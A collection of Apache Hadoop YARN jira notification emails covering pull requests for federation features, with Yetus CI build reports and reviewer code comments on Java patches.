q+MgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJ
[jira] [Commented] (YARN-11177) Support getNewReservation, submitReservation, updateReservation, deleteReservation API's for Federation
[ https://issues.apache.org/jira/browse/YARN-11177?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583640#comment-17583640 ] ASF GitHub Bot commented on YARN-11177: --- slfan1989 commented on PR #4764: URL: https://github.com/apache/hadoop/pull/4764#issuecomment-1224100344 @goiri Please help to review the code, thank you very much! > Support getNewReservation, submitReservation, updateReservation, > deleteReservation API's for Federation > --- > > Key: YARN-11177 > URL: https://issues.apache.org/jira/browse/YARN-11177 > Project: Hadoop YARN > Issue Type: Sub-task >Reporter: fanshilun >Assignee: fanshilun >Priority: Major > Labels: pull-request-available > Fix For: 3.4.0 > > -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-11219) [Federation] Add getAppActivities, getAppStatistics REST APIs for Router
[ https://issues.apache.org/jira/browse/YARN-11219?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583642#comment-17583642 ] ASF GitHub Bot commented on YARN-11219: --- slfan1989 commented on PR #4757: URL: https://github.com/apache/hadoop/pull/4757#issuecomment-1224103095 @goiri Please help to review the code, thank you very much! > [Federation] Add getAppActivities, getAppStatistics REST APIs for Router > > > Key: YARN-11219 > URL: https://issues.apache.org/jira/browse/YARN-11219 > Project: Hadoop YARN > Issue Type: Sub-task > Components: federation >Affects Versions: 3.4.0 >Reporter: fanshilun >Assignee: fanshilun >Priority: Major > Labels: pull-request-available > -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-11272) [RESERVATION] Federation StateStore: Support storage/retrieval of Reservations With Zk
[ https://issues.apache.org/jira/browse/YARN-11272?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583641#comment-17583641 ] ASF GitHub Bot commented on YARN-11272: --- slfan1989 commented on PR #4781: URL: https://github.com/apache/hadoop/pull/4781#issuecomment-1224102071 @goiri Please help to review the code again, Thank you very much! > [RESERVATION] Federation StateStore: Support storage/retrieval of > Reservations With Zk > -- > > Key: YARN-11272 > URL: https://issues.apache.org/jira/browse/YARN-11272 > Project: Hadoop YARN > Issue Type: Sub-task > Components: federation, reservation system >Affects Versions: 3.4.0 >Reporter: fanshilun >Assignee: fanshilun >Priority: Major > Labels: pull-request-available > -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-11276) Add lru cache for RMWebServices.getApps
[
https://issues.apache.org/jira/browse/YARN-11276?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583645#comment-17583645
]
ASF GitHub Bot commented on YARN-11276:
---
hadoop-yetus commented on PR #4793:
URL: https://github.com/apache/hadoop/pull/4793#issuecomment-1224122424
:broken_heart: **-1 overall**
| Vote | Subsystem | Runtime | Logfile | Comment |
|::|--:|:|::|:---:|
| +0 :ok: | reexec | 0m 57s | | Docker mode activated. |
_ Prechecks _ |
| +1 :green_heart: | dupname | 0m 0s | | No case conflicting files
found. |
| +0 :ok: | codespell | 0m 1s | | codespell was not available. |
| +0 :ok: | detsecrets | 0m 1s | | detect-secrets was not available.
|
| +1 :green_heart: | @author | 0m 0s | | The patch does not contain
any @author tags. |
| +1 :green_heart: | test4tests | 0m 0s | | The patch appears to
include 2 new or modified test files. |
_ trunk Compile Tests _ |
| +0 :ok: | mvndep | 14m 58s | | Maven dependency ordering for branch |
| +1 :green_heart: | mvninstall | 25m 20s | | trunk passed |
| +1 :green_heart: | compile | 9m 56s | | trunk passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | compile | 8m 53s | | trunk passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | checkstyle | 2m 20s | | trunk passed |
| +1 :green_heart: | mvnsite | 4m 52s | | trunk passed |
| +1 :green_heart: | javadoc | 4m 32s | | trunk passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javadoc | 4m 13s | | trunk passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | spotbugs | 7m 42s | | trunk passed |
| +1 :green_heart: | shadedclient | 23m 17s | | branch has no errors
when building and testing our client artifacts. |
_ Patch Compile Tests _ |
| +0 :ok: | mvndep | 0m 35s | | Maven dependency ordering for patch |
| +1 :green_heart: | mvninstall | 2m 31s | | the patch passed |
| +1 :green_heart: | compile | 9m 13s | | the patch passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javac | 9m 13s | | the patch passed |
| +1 :green_heart: | compile | 8m 46s | | the patch passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | javac | 8m 46s | | the patch passed |
| +1 :green_heart: | blanks | 0m 0s | | The patch has no blanks
issues. |
| -0 :warning: | checkstyle | 2m 4s |
[/results-checkstyle-hadoop-yarn-project_hadoop-yarn.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/3/artifact/out/results-checkstyle-hadoop-yarn-project_hadoop-yarn.txt)
| hadoop-yarn-project/hadoop-yarn: The patch generated 8 new + 174 unchanged
- 0 fixed = 182 total (was 174) |
| +1 :green_heart: | mvnsite | 4m 18s | | the patch passed |
| +1 :green_heart: | javadoc | 3m 55s | | the patch passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javadoc | 3m 48s | | the patch passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | spotbugs | 7m 36s | | the patch passed |
| +1 :green_heart: | shadedclient | 23m 10s | | patch has no errors
when building and testing our client artifacts. |
_ Other Tests _ |
| -1 :x: | unit | 1m 41s |
[/patch-unit-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-api.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/3/artifact/out/patch-unit-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-api.txt)
| hadoop-yarn-api in the patch passed. |
| +1 :green_heart: | unit | 5m 32s | | hadoop-yarn-common in the patch
passed. |
| +1 :green_heart: | unit | 102m 48s | |
hadoop-yarn-server-resourcemanager in the patch passed. |
| +1 :green_heart: | asflicense | 1m 26s | | The patch does not
generate ASF License warnings. |
| | | 287m 0s | | |
| Reason | Tests |
|---:|:--|
| Failed junit tests | hadoop.yarn.conf.TestYarnConfigurationFields |
| Subsystem | Report/Notes |
|--:|:-|
| Docker | ClientAPI=1.41 ServerAPI=1.41 base:
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/3/artifact/out/Dockerfile
|
| GITHUB PR | https://github.com/apache/hadoop/pull/4793 |
| Optional Tests | dupname asflicense compile javac javadoc mvninstall
mvnsite unit shadedclient spotbugs checkstyle codespell detsecrets |
| uname | Linux d921923178f7 4.15.0-191-generic #202-Ubuntu SMP Thu Aug 4
01:49:29 UTC 2022 x86_64 x86_64 x86_64
[jira] [Commented] (YARN-11276) Add lru cache for RMWebServices.getApps
[
https://issues.apache.org/jira/browse/YARN-11276?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583646#comment-17583646
]
ASF GitHub Bot commented on YARN-11276:
---
hadoop-yetus commented on PR #4793:
URL: https://github.com/apache/hadoop/pull/4793#issuecomment-1224123374
:broken_heart: **-1 overall**
| Vote | Subsystem | Runtime | Logfile | Comment |
|::|--:|:|::|:---:|
| +0 :ok: | reexec | 0m 57s | | Docker mode activated. |
_ Prechecks _ |
| +1 :green_heart: | dupname | 0m 0s | | No case conflicting files
found. |
| +0 :ok: | codespell | 0m 1s | | codespell was not available. |
| +0 :ok: | detsecrets | 0m 1s | | detect-secrets was not available.
|
| +1 :green_heart: | @author | 0m 0s | | The patch does not contain
any @author tags. |
| +1 :green_heart: | test4tests | 0m 0s | | The patch appears to
include 2 new or modified test files. |
_ trunk Compile Tests _ |
| +0 :ok: | mvndep | 14m 55s | | Maven dependency ordering for branch |
| +1 :green_heart: | mvninstall | 28m 20s | | trunk passed |
| +1 :green_heart: | compile | 10m 47s | | trunk passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | compile | 9m 12s | | trunk passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | checkstyle | 2m 11s | | trunk passed |
| +1 :green_heart: | mvnsite | 4m 2s | | trunk passed |
| +1 :green_heart: | javadoc | 3m 46s | | trunk passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javadoc | 3m 26s | | trunk passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | spotbugs | 7m 13s | | trunk passed |
| +1 :green_heart: | shadedclient | 25m 40s | | branch has no errors
when building and testing our client artifacts. |
_ Patch Compile Tests _ |
| +0 :ok: | mvndep | 0m 30s | | Maven dependency ordering for patch |
| +1 :green_heart: | mvninstall | 2m 22s | | the patch passed |
| +1 :green_heart: | compile | 9m 53s | | the patch passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javac | 9m 53s | | the patch passed |
| +1 :green_heart: | compile | 9m 2s | | the patch passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | javac | 9m 2s | | the patch passed |
| +1 :green_heart: | blanks | 0m 0s | | The patch has no blanks
issues. |
| -0 :warning: | checkstyle | 1m 58s |
[/results-checkstyle-hadoop-yarn-project_hadoop-yarn.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/2/artifact/out/results-checkstyle-hadoop-yarn-project_hadoop-yarn.txt)
| hadoop-yarn-project/hadoop-yarn: The patch generated 8 new + 174 unchanged
- 0 fixed = 182 total (was 174) |
| +1 :green_heart: | mvnsite | 3m 38s | | the patch passed |
| +1 :green_heart: | javadoc | 3m 16s | | the patch passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javadoc | 3m 8s | | the patch passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | spotbugs | 7m 14s | | the patch passed |
| +1 :green_heart: | shadedclient | 25m 34s | | patch has no errors
when building and testing our client artifacts. |
_ Other Tests _ |
| -1 :x: | unit | 1m 25s |
[/patch-unit-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-api.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/2/artifact/out/patch-unit-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-api.txt)
| hadoop-yarn-api in the patch passed. |
| +1 :green_heart: | unit | 5m 8s | | hadoop-yarn-common in the patch
passed. |
| +1 :green_heart: | unit | 102m 38s | |
hadoop-yarn-server-resourcemanager in the patch passed. |
| +1 :green_heart: | asflicense | 1m 8s | | The patch does not
generate ASF License warnings. |
| | | 289m 5s | | |
| Reason | Tests |
|---:|:--|
| Failed junit tests | hadoop.yarn.conf.TestYarnConfigurationFields |
| Subsystem | Report/Notes |
|--:|:-|
| Docker | ClientAPI=1.41 ServerAPI=1.41 base:
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/2/artifact/out/Dockerfile
|
| GITHUB PR | https://github.com/apache/hadoop/pull/4793 |
| Optional Tests | dupname asflicense compile javac javadoc mvninstall
mvnsite unit shadedclient spotbugs checkstyle codespell detsecrets |
| uname | Linux e22131cf0830 4.15.0-191-generic #202-Ubuntu SMP Thu Aug 4
01:49:29 UTC 2022 x86_64 x86_64 x86_64
[jira] [Commented] (YARN-11276) Add lru cache for RMWebServices.getApps
[ https://issues.apache.org/jira/browse/YARN-11276?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583652#comment-17583652 ] ASF GitHub Bot commented on YARN-11276: --- slfan1989 commented on PR #4793: URL: https://github.com/apache/hadoop/pull/4793#issuecomment-1224136306 @leixm Modify CheckStyle and add relevant parameters in yarn-site.xml. > Add lru cache for RMWebServices.getApps > --- > > Key: YARN-11276 > URL: https://issues.apache.org/jira/browse/YARN-11276 > Project: Hadoop YARN > Issue Type: Improvement > Components: resourcemanager >Affects Versions: 3.4.0 >Reporter: Xianming Lei >Priority: Minor > Labels: pull-request-available > > In our YARN cluster, there are thousands of apps running at the same time, > the return result of getApps reaches about 10M, and many requests are the > same input parameters, we can add cache for RMWebServices.getApps to reduce > processing delay -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-11275) [Federation] Add batchFinishApplicationMaster in UAMPoolManager
[
https://issues.apache.org/jira/browse/YARN-11275?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583663#comment-17583663
]
ASF GitHub Bot commented on YARN-11275:
---
hadoop-yetus commented on PR #4792:
URL: https://github.com/apache/hadoop/pull/4792#issuecomment-1224181213
:broken_heart: **-1 overall**
| Vote | Subsystem | Runtime | Logfile | Comment |
|::|--:|:|::|:---:|
| +0 :ok: | reexec | 0m 53s | | Docker mode activated. |
_ Prechecks _ |
| +1 :green_heart: | dupname | 0m 0s | | No case conflicting files
found. |
| +0 :ok: | codespell | 0m 1s | | codespell was not available. |
| +0 :ok: | detsecrets | 0m 1s | | detect-secrets was not available.
|
| +1 :green_heart: | @author | 0m 0s | | The patch does not contain
any @author tags. |
| +1 :green_heart: | test4tests | 0m 0s | | The patch appears to
include 1 new or modified test files. |
_ trunk Compile Tests _ |
| +0 :ok: | mvndep | 14m 45s | | Maven dependency ordering for branch |
| +1 :green_heart: | mvninstall | 28m 23s | | trunk passed |
| +1 :green_heart: | compile | 10m 40s | | trunk passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | compile | 9m 9s | | trunk passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | checkstyle | 2m 9s | | trunk passed |
| +1 :green_heart: | mvnsite | 3m 41s | | trunk passed |
| +1 :green_heart: | javadoc | 3m 29s | | trunk passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javadoc | 3m 16s | | trunk passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | spotbugs | 6m 1s | | trunk passed |
| +1 :green_heart: | shadedclient | 24m 59s | | branch has no errors
when building and testing our client artifacts. |
_ Patch Compile Tests _ |
| +0 :ok: | mvndep | 0m 27s | | Maven dependency ordering for patch |
| +1 :green_heart: | mvninstall | 2m 1s | | the patch passed |
| +1 :green_heart: | compile | 9m 52s | | the patch passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javac | 9m 52s | | the patch passed |
| +1 :green_heart: | compile | 9m 2s | | the patch passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | javac | 9m 2s | | the patch passed |
| +1 :green_heart: | blanks | 0m 0s | | The patch has no blanks
issues. |
| +1 :green_heart: | checkstyle | 1m 57s | | the patch passed |
| +1 :green_heart: | mvnsite | 3m 14s | | the patch passed |
| +1 :green_heart: | javadoc | 3m 2s | | the patch passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javadoc | 2m 56s | | the patch passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | spotbugs | 6m 4s | | the patch passed |
| +1 :green_heart: | shadedclient | 25m 17s | | patch has no errors
when building and testing our client artifacts. |
_ Other Tests _ |
| +1 :green_heart: | unit | 5m 6s | | hadoop-yarn-common in the patch
passed. |
| +1 :green_heart: | unit | 3m 10s | | hadoop-yarn-server-common in
the patch passed. |
| -1 :x: | unit | 23m 55s |
[/patch-unit-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server_hadoop-yarn-server-nodemanager.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4792/2/artifact/out/patch-unit-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server_hadoop-yarn-server-nodemanager.txt)
| hadoop-yarn-server-nodemanager in the patch passed. |
| +1 :green_heart: | asflicense | 1m 8s | | The patch does not
generate ASF License warnings. |
| | | 207m 19s | | |
| Reason | Tests |
|---:|:--|
| Failed junit tests |
hadoop.yarn.server.nodemanager.amrmproxy.TestFederationInterceptor |
| Subsystem | Report/Notes |
|--:|:-|
| Docker | ClientAPI=1.41 ServerAPI=1.41 base:
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4792/2/artifact/out/Dockerfile
|
| GITHUB PR | https://github.com/apache/hadoop/pull/4792 |
| Optional Tests | dupname asflicense compile javac javadoc mvninstall
mvnsite unit shadedclient spotbugs checkstyle codespell detsecrets |
| uname | Linux 3d9357c034ea 4.15.0-191-generic #202-Ubuntu SMP Thu Aug 4
01:49:29 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux |
| Build tool | maven |
| Personality | dev-support/bin/hadoop.sh |
| git revision | trunk / e7fdf271ece3c64c2410600100c4460a0235f705 |
| Default Java | Private
[jira] [Commented] (YARN-11275) [Federation] Add batchFinishApplicationMaster in UAMPoolManager
[
https://issues.apache.org/jira/browse/YARN-11275?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583806#comment-17583806
]
ASF GitHub Bot commented on YARN-11275:
---
goiri commented on code in PR #4792:
URL: https://github.com/apache/hadoop/pull/4792#discussion_r953000614
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common/src/main/java/org/apache/hadoop/yarn/server/uam/UnmanagedAMPoolManager.java:
##
@@ -450,4 +452,44 @@ public void drainUAMHeartbeats() {
uam.drainHeartbeatThread();
}
}
+
+ public Map
batchFinishApplicationMaster(
+ FinishApplicationMasterRequest request, String appId) {
+
+Map responseMap = new HashMap<>();
+Set subClusterIds = this.unmanagedAppMasterMap.keySet();
+
+if (subClusterIds.size() > 0) {
Review Comment:
!isEmpty()
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-nodemanager/src/test/java/org/apache/hadoop/yarn/server/nodemanager/amrmproxy/TestFederationInterceptor.java:
##
@@ -969,4 +969,58 @@ private PreemptionMessage createDummyPreemptionMessage(
preemptionMessage.setContract(contract);
return preemptionMessage;
}
+
+ @Test
+ public void testBatchFinishApplicationMaster() throws IOException,
InterruptedException {
+
+final RegisterApplicationMasterRequest registerReq =
+Records.newRecord(RegisterApplicationMasterRequest.class);
+registerReq.setHost(Integer.toString(testAppId));
+registerReq.setRpcPort(testAppId);
+registerReq.setTrackingUrl("");
+
+UserGroupInformation ugi =
interceptor.getUGIWithToken(interceptor.getAttemptId());
+
+ugi.doAs((PrivilegedExceptionAction) () -> {
+
+ // Register the application
+ RegisterApplicationMasterRequest registerReq1 =
+ Records.newRecord(RegisterApplicationMasterRequest.class);
+ registerReq1.setHost(Integer.toString(testAppId));
+ registerReq1.setRpcPort(0);
+ registerReq1.setTrackingUrl("");
+
+ // Register ApplicationMaster
+ RegisterApplicationMasterResponse registerResponse =
+ interceptor.registerApplicationMaster(registerReq1);
+ Assert.assertNotNull(registerResponse);
+ lastResponseId = 0;
+
+ Assert.assertEquals(0, interceptor.getUnmanagedAMPoolSize());
+
+ // Allocate the first batch of containers, with sc1 and sc2 active
+ registerSubCluster(SubClusterId.newInstance("SC-1"));
+ registerSubCluster(SubClusterId.newInstance("SC-2"));
+
+ int numberOfContainers = 3;
+ List containers =
+ getContainersAndAssert(numberOfContainers, numberOfContainers * 2);
+ Assert.assertEquals(2, interceptor.getUnmanagedAMPoolSize());
+ Assert.assertEquals(numberOfContainers, containers.size());
+
+ // Finish the application
+ FinishApplicationMasterRequest finishReq =
+ Records.newRecord(FinishApplicationMasterRequest.class);
+ finishReq.setDiagnostics("");
+ finishReq.setTrackingUrl("");
+ finishReq.setFinalApplicationStatus(FinalApplicationStatus.SUCCEEDED);
+
+ FinishApplicationMasterResponse finshResponse =
+ interceptor.finishApplicationMaster(finishReq);
+ Assert.assertNotNull(finshResponse);
+ Assert.assertEquals(true, finshResponse.getIsUnregistered());
Review Comment:
assertTrue
> [Federation] Add batchFinishApplicationMaster in UAMPoolManager
> ---
>
> Key: YARN-11275
> URL: https://issues.apache.org/jira/browse/YARN-11275
> Project: Hadoop YARN
> Issue Type: Improvement
> Components: federation, nodemanager
>Affects Versions: 3.4.0
>Reporter: fanshilun
>Assignee: fanshilun
>Priority: Major
> Labels: pull-request-available
>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-11177) Support getNewReservation, submitReservation, updateReservation, deleteReservation API's for Federation
[
https://issues.apache.org/jira/browse/YARN-11177?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583809#comment-17583809
]
ASF GitHub Bot commented on YARN-11177:
---
goiri commented on code in PR #4764:
URL: https://github.com/apache/hadoop/pull/4764#discussion_r953004392
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-router/src/main/java/org/apache/hadoop/yarn/server/router/clientrm/FederationClientInterceptor.java:
##
@@ -888,13 +890,120 @@ public MoveApplicationAcrossQueuesResponse
moveApplicationAcrossQueues(
@Override
public GetNewReservationResponse getNewReservation(
GetNewReservationRequest request) throws YarnException, IOException {
-throw new NotImplementedException("Code is not implemented");
+
+if (request == null) {
+ routerMetrics.incrGetNewReservationFailedRetrieved();
+ String errMsg = "Missing getNewReservation request.";
+ RouterServerUtil.logAndThrowException(errMsg, null);
+}
+
+long startTime = clock.getTime();
+Map subClustersActive =
+federationFacade.getSubClusters(true);
+
+for (int i = 0; i < numSubmitRetries; ++i) {
+ SubClusterId subClusterId = getRandomActiveSubCluster(subClustersActive);
+ LOG.info("getNewReservation try #{} on SubCluster {}.", i, subClusterId);
+ ApplicationClientProtocol clientRMProxy =
getClientRMProxyForSubCluster(subClusterId);
+ GetNewReservationResponse response = null;
+ try {
+response = clientRMProxy.getNewReservation(request);
+ } catch (Exception e) {
+LOG.warn("Unable to create a new Reservation in SubCluster {}.",
subClusterId.getId(), e);
+subClustersActive.remove(subClusterId);
+ }
+
+ if (response != null) {
+long stopTime = clock.getTime();
+routerMetrics.succeededGetNewReservationRetrieved(stopTime -
startTime);
+return response;
+ }
+}
+
+routerMetrics.incrGetNewReservationFailedRetrieved();
+String errMsg = "Failed to create a new reservation.";
+throw new YarnException(errMsg);
}
@Override
public ReservationSubmissionResponse submitReservation(
ReservationSubmissionRequest request) throws YarnException, IOException {
-throw new NotImplementedException("Code is not implemented");
+
+if (request == null || request.getReservationId() == null
+|| request.getReservationDefinition() == null ||
request.getQueue() == null) {
+ routerMetrics.incrSubmitReservationFailedRetrieved();
+ RouterServerUtil.logAndThrowException(
+ "Missing submitReservation request or reservationId " +
+ "or reservation definition or queue.", null);
+}
+
+ReservationSubmissionResponse response = null;
Review Comment:
Declare this where we use it.
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-router/src/main/java/org/apache/hadoop/yarn/server/router/clientrm/FederationClientInterceptor.java:
##
@@ -888,13 +890,120 @@ public MoveApplicationAcrossQueuesResponse
moveApplicationAcrossQueues(
@Override
public GetNewReservationResponse getNewReservation(
GetNewReservationRequest request) throws YarnException, IOException {
-throw new NotImplementedException("Code is not implemented");
+
+if (request == null) {
+ routerMetrics.incrGetNewReservationFailedRetrieved();
+ String errMsg = "Missing getNewReservation request.";
+ RouterServerUtil.logAndThrowException(errMsg, null);
+}
+
+long startTime = clock.getTime();
+Map subClustersActive =
+federationFacade.getSubClusters(true);
+
+for (int i = 0; i < numSubmitRetries; ++i) {
+ SubClusterId subClusterId = getRandomActiveSubCluster(subClustersActive);
+ LOG.info("getNewReservation try #{} on SubCluster {}.", i, subClusterId);
+ ApplicationClientProtocol clientRMProxy =
getClientRMProxyForSubCluster(subClusterId);
+ GetNewReservationResponse response = null;
+ try {
+response = clientRMProxy.getNewReservation(request);
+ } catch (Exception e) {
+LOG.warn("Unable to create a new Reservation in SubCluster {}.",
subClusterId.getId(), e);
+subClustersActive.remove(subClusterId);
+ }
+
+ if (response != null) {
+long stopTime = clock.getTime();
+routerMetrics.succeededGetNewReservationRetrieved(stopTime -
startTime);
+return response;
+ }
+}
+
+routerMetrics.incrGetNewReservationFailedRetrieved();
+String errMsg = "Failed to create a new reservation.";
+throw new YarnException(errMsg);
}
@Override
public ReservationSubmissionResponse submitReservation(
ReservationSubmissionRequest request) throws YarnException, IOException {
-throw new NotImplementedException("Code is not implemented");
+
+if (request == null ||
[jira] [Commented] (YARN-9708) Yarn Router Support DelegationToken
[
https://issues.apache.org/jira/browse/YARN-9708?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583851#comment-17583851
]
ASF GitHub Bot commented on YARN-9708:
--
goiri commented on code in PR #4746:
URL: https://github.com/apache/hadoop/pull/4746#discussion_r953096007
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-common/src/main/java/org/apache/hadoop/yarn/security/client/YARNDelegationTokenIdentifier.java:
##
@@ -112,4 +115,14 @@ public YARNDelegationTokenIdentifierProto getProto() {
setBuilderFields();
return builder.build();
}
+
+ @InterfaceAudience.Private
Review Comment:
Can we import the InterfaceAudience.Private as others?
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common/src/main/java/org/apache/hadoop/yarn/server/federation/store/records/RouterRMDTSecretManagerState.java:
##
@@ -0,0 +1,53 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.hadoop.yarn.server.federation.store.records;
+
+import org.apache.hadoop.security.token.delegation.DelegationKey;
+import org.apache.hadoop.yarn.security.client.RMDelegationTokenIdentifier;
+
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+
+public class RouterRMDTSecretManagerState {
+
+ // DTIdentifier -> renewDate
+ private Map delegationTokenState =
+ new HashMap();
Review Comment:
`new HashMap<>();` and single line
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common/src/main/java/org/apache/hadoop/yarn/server/federation/store/records/RouterRMTokenRequest.java:
##
@@ -0,0 +1,43 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.hadoop.yarn.server.federation.store.records;
+
+import org.apache.hadoop.classification.InterfaceAudience;
+import org.apache.hadoop.classification.InterfaceStability;
+import org.apache.hadoop.yarn.util.Records;
+
+@InterfaceAudience.Private
+@InterfaceStability.Unstable
+public abstract class RouterRMTokenRequest {
+
+ @InterfaceAudience.Private
+ @InterfaceStability.Unstable
+ public static RouterRMTokenRequest newInstance(RouterStoreToken
routerStoreToken) {
+RouterRMTokenRequest request =
Records.newRecord(RouterRMTokenRequest.class);
+request.setRouterStoreToken(routerStoreToken);
+return request;
+ }
+
+ @InterfaceAudience.Public
+ @InterfaceStability.Unstable
+ public abstract RouterStoreToken getRouterStoreToken();
+
+ @InterfaceAudience.Private
Review Comment:
Import statically this.
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-router/src/test/java/org/apache/hadoop/yarn/server/router/secure/TestRouterDelegationTokenSecretManager.java:
##
@@ -0,0 +1,198 @@
